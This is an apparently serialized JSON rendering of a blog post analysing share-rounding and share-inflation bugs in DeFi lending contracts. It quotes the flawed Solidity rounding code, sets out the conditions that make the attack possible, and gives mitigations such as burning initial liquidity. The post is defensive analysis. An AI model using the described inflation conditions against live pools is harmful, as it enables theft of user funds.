ResultsInBadDebt",{"type":21,"tag":198,"props":47135,"children":47136},{"style":211},[47137],{"type":27,"value":3404},{"type":21,"tag":198,"props":47139,"children":47140},{"class":200,"line":477},[47141],{"type":21,"tag":198,"props":47142,"children":47143},{"style":211},[47144],{"type":27,"value":1120},{"type":21,"tag":30,"props":47146,"children":47147},{},[47148],{"type":27,"value":47149},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":21,"tag":30,"props":47151,"children":47152},{},[47153],{"type":27,"value":47154},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":21,"tag":30,"props":47156,"children":47157},{},[47158,47160,47166],{"type":27,"value":47159},"And indeed, ",{"type":21,"tag":34,"props":47161,"children":47164},{"href":47162,"rel":47163},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[38],[47165],{"type":27,"value":46870},{"type":27,"value":47167}," rounds up the share value.",{"type":21,"tag":187,"props":47169,"children":47171},{"className":5287,"code":47170,"language":5286,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[47172],{"type":21,"tag":194,"props":47173,"children":47174},{"__ignoreMap":7},[47175,47191,47208,47224,47237,47244,47252,47260,47280,47287,47307,47328,47350,47379,47400],{"type":21,"tag":198,"props":47176,"children":47177},{"class":200,"line":201},[47178,47182,47187],{"type":21,"tag":198,"props":47179,"children":47180},{"style":249},[47181],{"type":27,"value":892},{"type":21,"tag":198,"props":47183,"children":47184},{"style":698},[47185],{"type":27,"value":47186}," _calculateShares",{"type":21,"tag":198,"props":47188,"children":47189},{"style":211},[47190],{"type":27,"value":4268},{"type":21,"tag":198,"props":47192,"children":47193},{"class":200,"line":217},[47194,47199,47204],{"type":21,"tag":198,"props":47195,"children":47196},{"style":1966},[47197],{"type":27,"value":47198}," uint256",{"type":21,"tag":198,"props":47200,"children":47201},{"style":226},[47202],{"type":27,"value":47203}," _product",{"type":21,"tag":198,"props":47205,"children":47206},{"style":211},[47207],{"type":27,"value":257},{"type":21,"tag":198,"props":47209,"children":47210},{"class":200,"line":236},[47211,47215,47220],{"type":21,"tag":198,"props":47212,"children":47213},{"style":1966},[47214],{"type":27,"value":47198},{"type":21,"tag":198,"props":47216,"children":47217},{"style":226},[47218],{"type":27,"value":47219}," _pseudo",{"type":21,"tag":198,"props":47221,"children":47222},{"style":211},[47223],{"type":27,"value":257},{"type":21,"tag":198,"props":47225,"children":47226},{"class":200,"line":260},[47227,47232],{"type":21,"tag":198,"props":47228,"children":47229},{"style":1966},[47230],{"type":27,"value":47231}," bool",{"type":21,"tag":198,"props":47233,"children":47234},{"style":226},[47235],{"type":27,"value":47236}," _maxSharePrice\n",{"type":21,"tag":198,"props":47238,"children":47239},{"class":200,"line":281},[47240],{"type":21,"tag":198,"props":47241,"children":47242},{"style":211},[47243],{"type":27,"value":789},{"type":21,"tag":198,"props":47245,"children":47246},{"class":200,"line":302},[47247],{"type":21,"tag":198,"props":47248,"children":47249},{"style":249},[47250],{"type":27,"value":47251}," private\n",{"type":21,"tag":198,"props":47253,"children":47254},{"class":200,"line":323},[47255],{"type":21,"tag":198,"props":47256,"children":47257},{"style":249},[47258],{"type":27,"value":47259}," pure\n",{"type":21,"tag":198,"props":47261,"children":47262},{"class":200,"line":344},[47263,47268,47272,47276],{"type":21,"tag":198,"props":47264,"children":47265},{"style":640},[47266],{"type":27,"value":47267}," returns",{"type":21,"tag":198,"props":47269,"children":47270},{"style":211},[47271],{"type":27,"value":648},{"type":21,"tag":198,"props":47273,"children":47274},{"style":1966},[47275],{"type":27,"value":46926},{"type":21,"tag":198,"props":47277,"children":47278},{"style":211},[47279],{"type":27,"value":789},{"type":21,"tag":198,"props":47281,"children":47282},{"class":200,"line":365},[47283],{"type":21,"tag":198,"props":47284,"children":47285},{"style":211},[47286],{"type":27,"value":11689},{"type":21,"tag":198,"props":47288,"children":47289},{"class":200,"line":386},[47290,47294,47299,47303],{"type":21,"tag":198,"props":47291,"children":47292},{"style":640},[47293],{"type":27,"value":1478},{"type":21,"tag":198,"props":47295,"children":47296},{"style":211},[47297],{"type":27,"value":47298}," _maxSharePrice ",{"type":21,"tag":198,"props":47300,"children":47301},{"style":683},[47302],{"type":27,"value":9386},{"type":21,"tag":198,"props":47304,"children":47305},{"style":249},[47306],{"type":27,"value":465},{"type":21,"tag":198,"props":47308,"children":47309},{"class":200,"line":408},[47310,47315,47320,47324],{"type":21,"tag":198,"props":47311,"children":47312},{"style":683},[47313],{"type":27,"value":47314}," ?",{"type":21,"tag":198,"props":47316,"children":47317},{"style":211},[47318],{"type":27,"value":47319}," _product % _pseudo ",{"type":21,"tag":198,"props":47321,"children":47322},{"style":683},[47323],{"type":27,"value":9386},{"type":21,"tag":198,"props":47325,"children":47326},{"style":2540},[47327],{"type":27,"value":25083},{"type":21,"tag":198,"props":47329,"children":47330},{"class":200,"line":429},[47331,47336,47341,47345],{"type":21,"tag":198,"props":47332,"children":47333},{"style":683},[47334],{"type":27,"value":47335}," ?",{"type":21,"tag":198,"props":47337,"children":47338},{"style":211},[47339],{"type":27,"value":47340}," _product ",{"type":21,"tag":198,"props":47342,"children":47343},{"style":683},[47344],{"type":27,"value":2232},{"type":21,"tag":198,"props":47346,"children":47347},{"style":211},[47348],{"type":27,"value":47349}," _pseudo\n",{"type":21,"tag":198,"props":47351,"children":47352},{"class":200,"line":450},[47353,47358,47362,47366,47371,47375],{"type":21,"tag":198,"props":47354,"children":47355},{"style":683},[47356],{"type":27,"value":47357}," :",{"type":21,"tag":198,"props":47359,"children":47360},{"style":211},[47361],{"type":27,"value":47340},{"type":21,"tag":198,"props":47363,"children":47364},{"style":683},[47365],{"type":27,"value":2232},{"type":21,"tag":198,"props":47367,"children":47368},{"style":211},[47369],{"type":27,"value":47370}," _pseudo ",{"type":21,"tag":198,"props":47372,"children":47373},{"style":683},[47374],{"type":27,"value":5193},{"type":21,"tag":198,"props":47376,"children":47377},{"style":2540},[47378],{"type":27,"value":20237},{"type":21,"tag":198,"props":47380,"children":47381},{"class":200,"line":468},[47382,47387,47391,47395],{"type":21,"tag":198,"props":47383,"children":47384},{"style":683},[47385],{"type":27,"value":47386}," :",{"type":21,"tag":198,"props":47388,"children":47389},{"style":211},[47390],{"type":27,"value":47340},{"type":21,"tag":198,"props":47392,"children":47393},{"style":683},[47394],{"type":27,"value":2232},{"type":21,"tag":198,"props":47396,"children":47397},{"style":211},[47398],{"type":27,"value":47399}," _pseudo;\n",{"type":21,"tag":198,"props":47401,"children":47402},{"class":200,"line":477},[47403],{"type":21,"tag":198,"props":47404,"children":47405},{"style":211},[47406],{"type":27,"value":1120},{"type":21,"tag":30,"props":47408,"children":47409},{},[47410,47415],{"type":21,"tag":1671,"props":47411,"children":47412},{},[47413],{"type":27,"value":47414},"Regardless of which way the share rounding occurs, this is a bug",{"type":27,"value":47416},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":21,"tag":30,"props":47418,"children":47419},{},[47420],{"type":27,"value":47421},"This is a really tricky invariant to reason about!",{"type":21,"tag":22,"props":47423,"children":47425},{"id":47424},"root-cause",[47426],{"type":27,"value":47427},"Root Cause",{"type":21,"tag":30,"props":47429,"children":47430},{},[47431],{"type":27,"value":47432},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":21,"tag":30,"props":47434,"children":47435},{},[47436],{"type":27,"value":47437},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":21,"tag":187,"props":47439,"children":47441},{"className":5287,"code":47440,"language":5286,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[47442],{"type":21,"tag":194,"props":47443,"children":47444},{"__ignoreMap":7},[47445],{"type":21,"tag":198,"props":47446,"children":47447},{"class":200,"line":201},[47448,47453,47457,47462,47466],{"type":21,"tag":198,"props":47449,"children":47450},{"style":211},[47451],{"type":27,"value":47452},"totalDepositShares ",{"type":21,"tag":198,"props":47454,"children":47455},{"style":683},[47456],{"type":27,"value":5383},{"type":21,"tag":198,"props":47458,"children":47459},{"style":211},[47460],{"type":27,"value":47461}," _amount ",{"type":21,"tag":198,"props":47463,"children":47464},{"style":683},[47465],{"type":27,"value":2232},{"type":21,"tag":198,"props":47467,"children":47468},{"style":211},[47469],{"type":27,"value":47470}," pseudoTotalPool\n",{"type":21,"tag":30,"props":47472,"children":47473},{},[47474],{"type":27,"value":47475},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":21,"tag":30,"props":47477,"children":47478},{},[47479,47481,47485],{"type":27,"value":47480},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":21,"tag":1671,"props":47482,"children":47483},{},[47484],{"type":27,"value":20711},{"type":27,"value":47486}," integer division?",{"type":21,"tag":22,"props":47488,"children":47490},{"id":47489},"mitigations",[47491],{"type":27,"value":47492},"Mitigations",{"type":21,"tag":30,"props":47494,"children":47495},{},[47496],{"type":27,"value":47497},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":21,"tag":30,"props":47499,"children":47500},{},[47501,47503,47510],{"type":27,"value":47502},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":21,"tag":34,"props":47504,"children":47507},{"href":47505,"rel":47506},"https://twitter.com/danielvf/status/1746306320553152615",[38],[47508],{"type":27,"value":47509},"@danielvf notes",{"type":27,"value":47511},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":21,"tag":187,"props":47513,"children":47515},{"className":5287,"code":47514,"language":5286,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[47516],{"type":21,"tag":194,"props":47517,"children":47518},{"__ignoreMap":7},[47519,47543,47590,47624],{"type":21,"tag":198,"props":47520,"children":47521},{"class":200,"line":201},[47522,47526,47531,47535,47539],{"type":21,"tag":198,"props":47523,"children":47524},{"style":640},[47525],{"type":27,"value":16382},{"type":21,"tag":198,"props":47527,"children":47528},{"style":211},[47529],{"type":27,"value":47530}," (_totalSupply ",{"type":21,"tag":198,"props":47532,"children":47533},{"style":683},[47534],{"type":27,"value":9386},{"type":21,"tag":198,"props":47536,"children":47537},{"style":2540},[47538],{"type":27,"value":3855},{"type":21,"tag":198,"props":47540,"children":47541},{"style":211},[47542],{"type":27,"value":668},{"type":21,"tag":198,"props":47544,"children":47545},{"class":200,"line":217},[47546,47551,47555,47560,47565,47570,47575,47580,47585],{"type":21,"tag":198,"props":47547,"children":47548},{"style":211},[47549],{"type":27,"value":47550}," liquidity ",{"type":21,"tag":198,"props":47552,"children":47553},{"style":683},[47554],{"type":27,"value":3174},{"type":21,"tag":198,"props":47556,"children":47557},{"style":211},[47558],{"type":27,"value":47559}," Math.",{"type":21,"tag":198,"props":47561,"children":47562},{"style":698},[47563],{"type":27,"value":47564},"sqrt",{"type":21,"tag":198,"props":47566,"children":47567},{"style":211},[47568],{"type":27,"value":47569},"(amount0.",{"type":21,"tag":198,"props":47571,"children":47572},{"style":698},[47573],{"type":27,"value":47574},"mul",{"type":21,"tag":198,"props":47576,"children":47577},{"style":211},[47578],{"type":27,"value":47579},"(amount1)).",{"type":21,"tag":198,"props":47581,"children":47582},{"style":698},[47583],{"type":27,"value":47584},"sub",{"type":21,"tag":198,"props":47586,"children":47587},{"style":211},[47588],{"type":27,"value":47589},"(MINIMUM_LIQUIDITY);\n",{"type":21,"tag":198,"props":47591,"children":47592},{"class":200,"line":236},[47593,47598,47602,47606,47610,47614,47619],{"type":21,"tag":198,"props":47594,"children":47595},{"style":698},[47596],{"type":27,"value":47597}," _mint",{"type":21,"tag":198,"props":47599,"children":47600},{"style":211},[47601],{"type":27,"value":706},{"type":21,"tag":198,"props":47603,"children":47604},{"style":1966},[47605],{"type":27,"value":33423},{"type":21,"tag":198,"props":47607,"children":47608},{"style":211},[47609],{"type":27,"value":706},{"type":21,"tag":198,"props":47611,"children":47612},{"style":2540},[47613],{"type":27,"value":3482},{"type":21,"tag":198,"props":47615,"children":47616},{"style":211},[47617],{"type":27,"value":47618},"), MINIMUM_LIQUIDITY); ",{"type":21,"tag":198,"props":47620,"children":47621},{"style":1233},[47622],{"type":27,"value":47623},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":21,"tag":198,"props":47625,"children":47626},{"class":200,"line":260},[47627,47631,47635],{"type":21,"tag":198,"props":47628,"children":47629},{"style":211},[47630],{"type":27,"value":1270},{"type":21,"tag":198,"props":47632,"children":47633},{"style":640},[47634],{"type":27,"value":4122},{"type":21,"tag":198,"props":47636,"children":47637},{"style":211},[47638],{"type":27,"value":233},{"type":21,"tag":30,"props":47640,"children":47641},{},[47642,47644,47651],{"type":27,"value":47643},"Alternatively, ",{"type":21,"tag":34,"props":47645,"children":47648},{"href":47646,"rel":47647},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[38],[47649],{"type":27,"value":47650},"storing the conversion rate separately",{"type":27,"value":47652}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":21,"tag":187,"props":47654,"children":47656},{"className":5287,"code":47655,"language":5286,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[47657],{"type":21,"tag":194,"props":47658,"children":47659},{"__ignoreMap":7},[47660,47695],{"type":21,"tag":198,"props":47661,"children":47662},{"class":200,"line":201},[47663,47668,47672,47677,47681,47686,47690],{"type":21,"tag":198,"props":47664,"children":47665},{"style":211},[47666],{"type":27,"value":47667},"accrualIndices.borrowed ",{"type":21,"tag":198,"props":47669,"children":47670},{"style":683},[47671],{"type":27,"value":3174},{"type":21,"tag":198,"props":47673,"children":47674},{"style":211},[47675],{"type":27,"value":47676}," accrualIndices.borrowed ",{"type":21,"tag":198,"props":47678,"children":47679},{"style":683},[47680],{"type":27,"value":5383},{"type":21,"tag":198,"props":47682,"children":47683},{"style":211},[47684],{"type":27,"value":47685}," borrowInterestFactor ",{"type":21,"tag":198,"props":47687,"children":47688},{"style":683},[47689],{"type":27,"value":2232},{"type":21,"tag":198,"props":47691,"children":47692},{"style":211},[47693],{"type":27,"value":47694}," precision;\n",{"type":21,"tag":198,"props":47696,"children":47697},{"class":200,"line":217},[47698,47703,47707,47712,47716,47721,47725],{"type":21,"tag":198,"props":47699,"children":47700},{"style":211},[47701],{"type":27,"value":47702},"accrualIndices.deposited ",{"type":21,"tag":198,"props":47704,"children":47705},{"style":683},[47706],{"type":27,"value":3174},{"type":21,"tag":198,"props":47708,"children":47709},{"style":211},[47710],{"type":27,"value":47711}," accrualIndices.deposited ",{"type":21,"tag":198,"props":47713,"children":47714},{"style":683},[47715],{"type":27,"value":5383},{"type":21,"tag":198,"props":47717,"children":47718},{"style":211},[47719],{"type":27,"value":47720}," depositInterestFactor ",{"type":21,"tag":198,"props":47722,"children":47723},{"style":683},[47724],{"type":27,"value":2232},{"type":21,"tag":198,"props":47726,"children":47727},{"style":211},[47728],{"type":27,"value":47694},{"type":21,"tag":30,"props":47730,"children":47731},{},[47732],{"type":27,"value":47733},"We also want to note some general takeaways:",{"type":21,"tag":30,"props":47735,"children":47736},{},[47737,47739,47744],{"type":27,"value":47738},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":21,"tag":1671,"props":47740,"children":47741},{},[47742],{"type":27,"value":47743},"apply the state changes and check the invariant",{"type":27,"value":658},{"type":21,"tag":30,"props":47746,"children":47747},{},[47748],{"type":27,"value":47749},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":21,"tag":30,"props":47751,"children":47752},{},[47753],{"type":27,"value":47754},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":21,"tag":22,"props":47756,"children":47757},{"id":3586},[47758],{"type":27,"value":3589},{"type":21,"tag":30,"props":47760,"children":47761},{},[47762],{"type":27,"value":47763},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":21,"tag":30,"props":47765,"children":47766},{},[47767],{"type":27,"value":47768},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":21,"tag":3645,"props":47770,"children":47771},{},[47772],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":47774},[47775,47776,47777,47781,47782,47783],{"id":61,"depth":217,"text":64},{"id":46699,"depth":217,"text":46702},{"id":46818,"depth":217,"text":46821,"children":47778},[47779,47780],{"id":46829,"depth":236,"text":46832},{"id":46867,"depth":236,"text":46870},{"id":47424,"depth":217,"text":47427},{"id":47489,"depth":217,"text":47492},{"id":3586,"depth":217,"text":3589},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":47788,"image":47789,"date":15,"isFeatured":16,"onBlogPage":16,"body":47790,"_type":3671,"_id":3672,"_source":3673,"_file":3674,"_stem":3675,"_extension":3676},[11,12],{"src":14},{"type":18,"children":47791,"toc":50875},[47792,47796,47811,47815,47819,47823,47853,47857,47870,47885,47889,47893,47897,47907,48200,48222,48232,48236,48240,48250,48254,48264,48274,48490,48506,48534,48538,48542,48546,48740,48756,48760,48770,48854,48870,48898,48904,48920,49157,49178,49182,49192,49379,49395,49767,49777,49781,49797,49880,49884,49888,49898,49908,49984,49988,49998,50078,50088,50098,50102,50106,50116,50417,50421,50425,50429,50449,50498,50514,50563,50567,50571,50587,50597,50783,50787,50803,50807,50811,50822,50826,50830,50834,50838,50844,50871],{"type":21,"tag":22,"props":47793,"children":47794},{"id":24},[47795],{"type":27,"value":28},{"type":21,"tag":30,"props":47797,"children":47798},{},[47799,47804,47805,47810],{"type":21,"tag":34,"props":47800,"children":47802},{"href":36,"rel":47801},[38],[47803],{"type":27,"value":41},{"type":27,"value":43},{"type":21,"tag":34,"props":47806,"children":47808},{"href":46,"rel":47807},[38],[47809],{"type":27,"value":50},{"type":27,"value":52},{"type":21,"tag":30,"props":47812,"children":47813},{},[47814],{"type":27,"value":57},{"type":21,"tag":59,"props":47816,"children":47817},{"id":61},[47818],{"type":27,"value":64},{"type":21,"tag":30,"props":47820,"children":47821},{},[47822],{"type":27,"value":69},{"type":21,"tag":71,"props":47824,"children":47825},{},[47826,47835,47844],{"type":21,"tag":75,"props":47827,"children":47828},{},[47829,47834],{"type":21,"tag":34,"props":47830,"children":47832},{"href":80,"rel":47831},[38],[47833],{"type":27,"value":84},{"type":27,"value":86},{"type":21,"tag":75,"props":47836,"children":47837},{},[47838,47843],{"type":21,"tag":34,"props":47839,"children":47841},{"href":92,"rel":47840},[38],[47842],{"type":27,"value":96},{"type":27,"value":98},{"type":21,"tag":75,"props":47845,"children":47846},{},[47847,47852],{"type":21,"tag":34,"props":47848,"children":47850},{"href":104,"rel":47849},[38],[47851],{"type":27,"value":108},{"type":27,"value":110},{"type":21,"tag":59,"props":47854,"children":47855},{"id":113},[47856],{"type":27,"value":116},{"type":21,"tag":30,"props":47858,"children":47859},{},[47860,47861,47869],{"type":27,"value":121},{"type":21,"tag":123,"props":47862,"children":47863},{},[47864],{"type":21,"tag":34,"props":47865,"children":47867},{"href":128,"ariaDescribedBy":47866,"dataFootnoteRef":7,"id":131},[130],[47868],{"type":27,"value":134},{"type":27,"value":136},{"type":21,"tag":138,"props":47871,"children":47872},{},[47873,47877,47881],{"type":21,"tag":75,"props":47874,"children":47875},{},[47876],{"type":27,"value":145},{"type":21,"tag":75,"props":47878,"children":47879},{},[47880],{"type":27,"value":150},{"type":21,"tag":75,"props":47882,"children":47883},{},[47884],{"type":27,"value":155},{"type":21,"tag":30,"props":47886,"children":47887},{},[47888],{"type":27,"value":160},{"type":21,"tag":162,"props":47890,"children":47891},{"id":164},[47892],{"type":27,"value":145},{"type":21,"tag":30,"props":47894,"children":47895},{},[47896],{"type":27,"value":171},{"type":21,"tag":30,"props":47898,"children":47899},{},[47900,47901,47906],{"type":27,"value":176},{"type":21,"tag":34,"props":47902,"children":47904},{"href":179,"rel":47903},[38],[47905],{"type":27,"value":183},{"type":27,"value":185},{"type":21,"tag":187,"props":47908,"children":47909},{"className":189,"code":190,"language":191,"meta":7,"style":7},[47910],{"type":21,"tag":194,"props":47911,"children":47912},{"__ignoreMap":7},[47913,47924,47939,47958,47977,47996,48015,48034,48053,48072,48091,48110,48129,48144,48151,48166,48185],{"type":21,"tag":198,"props":47914,"children":47915},{"class":200,"line":201},[47916,47920],{"type":21,"tag":198,"props":47917,"children":47918},{"style":205},[47919],{"type":27,"value":208},{"type":21,"tag":198,"props":47921,"children":47922},{"style":211},[47923],{"type":27,"value":214},{"type":21,"tag":198,"props":47925,"children":47926},{"class":200,"line":217},[47927,47931,47935],{"type":21,"tag":198,"props":47928,"children":47929},{"style":205},[47930],{"type":27,"value":223},{"type":21,"tag":198,"props":47932,"children":47933},{"style":226},[47934],{"type":27,"value":185},{"type":21,"tag":198,"props":47936,"children":47937},{"style":211},[47938],{"type":27,"value":233},{"type":21,"tag":198,"props":47940,"children":47941},{"class":200,"line":236},[47942,47946,47950,47954],{"type":21,"tag":198,"props":47943,"children":47944},{"style":205},[47945],{"type":27,"value":242},{"type":21,"tag":198,"props":47947,"children":47948},{"style":226},[47949],{"type":27,"value":185},{"type":21,"tag":198,"props":47951,"children":47952},{"style":249},[47953],{"type":27,"value":252},{"type":21,"tag":198,"props":47955,"children":47956},{"style":211},[47957],{"type":27,"value":257},{"type":21,"tag":198,"props":47959,"children":47960},{"class":200,"line":260},[47961,47965,47969,47973],{"type":21,"tag":198,"props":47962,"children":47963},{"style":205},[47964],{"type":27,"value":266},{"type":21,"tag":198,"props":47966,"children":47967},{"style":226},[47968],{"type":27,"value":185},{"type":21,"tag":198,"props":47970,"children":47971},{"style":249},[47972],{"type":27,"value":252},{"type":21,"tag":198,"props":47974,"children":47975},{"style":211},[47976],{"type":27,"value":257},{"type":21,"tag":198,"props":47978,"children":47979},{"class":200,"line":281},[47980,47984,47988,47992],{"type":21,"tag":198,"props":47981,"children":47982},{"style":205},[47983],{"type":27,"value":287},{"type":21,"tag":198,"props":47985,"children":47986},{"style":226},[47987],{"type":27,"value":185},{"type":21,"tag":198,"props":47989,"children":47990},{"style":249},[47991],{"type":27,"value":252},{"type":21,"tag":198,"props":47993,"children":47994},{"style":211},[47995],{"type":27,"value":257},{"type":21,"tag":198,"props":47997,"children":47998},{"class":200,"line":302},[47999,48003,48007,48011],{"type":21,"tag":198,"props":48000,"children":48001},{"style":205},[48002],{"type":27,"value":308},{"type":21,"tag":198,"props":48004,"children":48005},{"style":226},[48006],{"type":27,"value":185},{"type":21,"tag":198,"props":48008,"children":48009},{"style":249},[48010],{"type":27,"value":252},{"type":21,"tag":198,"props":48012,"children":48013},{"style":211},[48014],{"type":27,"value":257},{"type":21,"tag":198,"props":48016,"children":48017},{"class":200,"line":323},[48018,48022,48026,48030],{"type":21,"tag":198,"props":48019,"children":48020},{"style":205},[48021],{"type":27,"value":329},{"type":21,"tag":198,"props":48023,"children":48024},{"style":226},[48025],{"type":27,"value":185},{"type":21,"tag":198,"props":48027,"children":48028},{"style":249},[48029],{"type":27,"value":252},{"type":21,"tag":198,"props":48031,"children":48032},{"style":211},[48033],{"type":27,"value":257},{"type":21,"tag":198,"props":48035,"children":48036},{"class":200,"line":344},[48037,48041,48045,48049],{"type":21,"tag":198,"props":48038,"children":48039},{"style":205},[48040],{"type":27,"value":350},{"type":21,"tag":198,"props":48042,"children":48043},{"style":226},[48044],{"type":27,"value":185},{"type":21,"tag":198,"props":48046,"children":48047},{"style":249},[48048],{"type":27,"value":252},{"type":21,"tag":198,"props":48050,"children":48051},{"style":211},[48052],{"type":27,"value":257},{"type":21,"tag":198,"props":48054,"children":48055},{"class":200,"line":365},[48056,48060,48064,48068],{"type":21,"tag":198,"props":48057,"children":48058},{"style":205},[48059],{"type":27,"value":371},{"type":21,"tag":198,"props":48061,"children":48062},{"style":226},[48063],{"type":27,"value":185},{"type":21,"tag":198,"props":48065,"children":48066},{"style":249},[48067],{"type":27,"value":252},{"type":21,"tag":198,"props":48069,"children":48070},{"style":211},[48071],{"type":27,"value":257},{"type":21,"tag":198,"props":48073,"children":48074},{"class":200,"line":386},[48075,48079,48083,48087],{"type":21,"tag":198,"props":48076,"children":48077},{"style":205},[48078],{"type":27,"value":392},{"type":21,"tag":198,"props":48080,"children":48081},{"style":226},[48082],{"type":27,"value":185},{"type":21,"tag":198,"props":48084,"children":48085},{"style":205},[48086],{"type":27,"value":401},{"type":21,"tag":198,"props":48088,"children":48089},{"style":211},[48090],{"type":27,"value":257},{"type":21,"tag":198,"props":48092,"children":48093},{"class":200,"line":408},[48094,48098,48102,48106],{"type":21,"tag":198,"props":48095,"children":48096},{"style":205},[48097],{"type":27,"value":414},{"type":21,"tag":198,"props":48099,"children":48100},{"style":226},[48101],{"type":27,"value":185},{"type":21,"tag":198,"props":48103,"children":48104},{"style":249},[48105],{"type":27,"value":252},{"type":21,"tag":198,"props":48107,"children":48108},{"style":211},[48109],{"type":27,"value":257},{"type":21,"tag":198,"props":48111,"children":48112},{"class":200,"line":429},[48113,48117,48121,48125],{"type":21,"tag":198,"props":48114,"children":48115},{"style":205},[48116],{"type":27,"value":435},{"type":21,"tag":198,"props":48118,"children":48119},{"style":226},[48120],{"type":27,"value":185},{"type":21,"tag":198,"props":48122,"children":48123},{"style":249},[48124],{"type":27,"value":252},{"type":21,"tag":198,"props":48126,"children":48127},{"style":211},[48128],{"type":27,"value":257},{"type":21,"tag":198,"props":48130,"children":48131},{"class":200,"line":450},[48132,48136,48140],{"type":21,"tag":198,"props":48133,"children":48134},{"style":205},[48135],{"type":27,"value":456},{"type":21,"tag":198,"props":48137,"children":48138},{"style":226},[48139],{"type":27,"value":185},{"type":21,"tag":198,"props":48141,"children":48142},{"style":249},[48143],{"type":27,"value":465},{"type":21,"tag":198,"props":48145,"children":48146},{"class":200,"line":468},[48147],{"type":21,"tag":198,"props":48148,"children":48149},{"style":211},[48150],{"type":27,"value":474},{"type":21,"tag":198,"props":48152,"children":48153},{"class":200,"line":477},[48154,48158,48162],{"type":21,"tag":198,"props":48155,"children":48156},{"style":205},[48157],{"type":27,"value":483},{"type":21,"tag":198,"props":48159,"children":48160},{"style":226},[48161],{"type":27,"value":185},{"type":21,"tag":198,"props":48163,"children":48164},{"style":211},[48165],{"type":27,"value":233},{"type":21,"tag":198,"props":48167,"children":48168},{"class":200,"line":494},[48169,48173,48177,48181],{"type":21,"tag":198,"props":48170,"children":48171},{"style":205},[48172],{"type":27,"value":500},{"type":21,"tag":198,"props":48174,"children":48175},{"style":226},[48176],{"type":27,"value":185},{"type":21,"tag":198,"props":48178,"children":48179},{"style":249},[48180],{"type":27,"value":252},{"type":21,"tag":198,"props":48182,"children":48183},{"style":211},[48184],{"type":27,"value":257},{"type":21,"tag":198,"props":48186,"children":48187},{"class":200,"line":515},[48188,48192,48196],{"type":21,"tag":198,"props":48189,"children":48190},{"style":205},[48191],{"type":27,"value":521},{"type":21,"tag":198,"props":48193,"children":48194},{"style":226},[48195],{"type":27,"value":185},{"type":21,"tag":198,"props":48197,"children":48198},{"style":249},[48199],{"type":27,"value":465},{"type":21,"tag":30,"props":48201,"children":48202},{},[48203,48204,48209,48210,48215,48216,48221],{"type":27,"value":534},{"type":21,"tag":194,"props":48205,"children":48207},{"className":48206},[],[48208],{"type":27,"value":540},{"type":27,"value":542},{"type":21,"tag":194,"props":48211,"children":48213},{"className":48212},[],[48214],{"type":27,"value":548},{"type":27,"value":550},{"type":21,"tag":194,"props":48217,"children":48219},{"className":48218},[],[48220],{"type":27,"value":556},{"type":27,"value":558},{"type":21,"tag":30,"props":48223,"children":48224},{},[48225,48226,48231],{"type":27,"value":563},{"type":21,"tag":194,"props":48227,"children":48229},{"className":48228},[],[48230],{"type":27,"value":569},{"type":27,"value":571},{"type":21,"tag":162,"props":48233,"children":48234},{"id":574},[48235],{"type":27,"value":150},{"type":21,"tag":30,"props":48237,"children":48238},{},[48239],{"type":27,"value":581},{"type":21,"tag":30,"props":48241,"children":48242},{},[48243,48244,48249],{"type":27,"value":586},{"type":21,"tag":34,"props":48245,"children":48247},{"href":589,"rel":48246},[38],[48248],{"type":27,"value":593},{"type":27,"value":595},{"type":21,"tag":162,"props":48251,"children":48252},{"id":598},[48253],{"type":27,"value":155},{"type":21,"tag":30,"props":48255,"children":48256},{},[48257,48258,48263],{"type":27,"value":605},{"type":21,"tag":194,"props":48259,"children":48261},{"className":48260},[],[48262],{"type":27,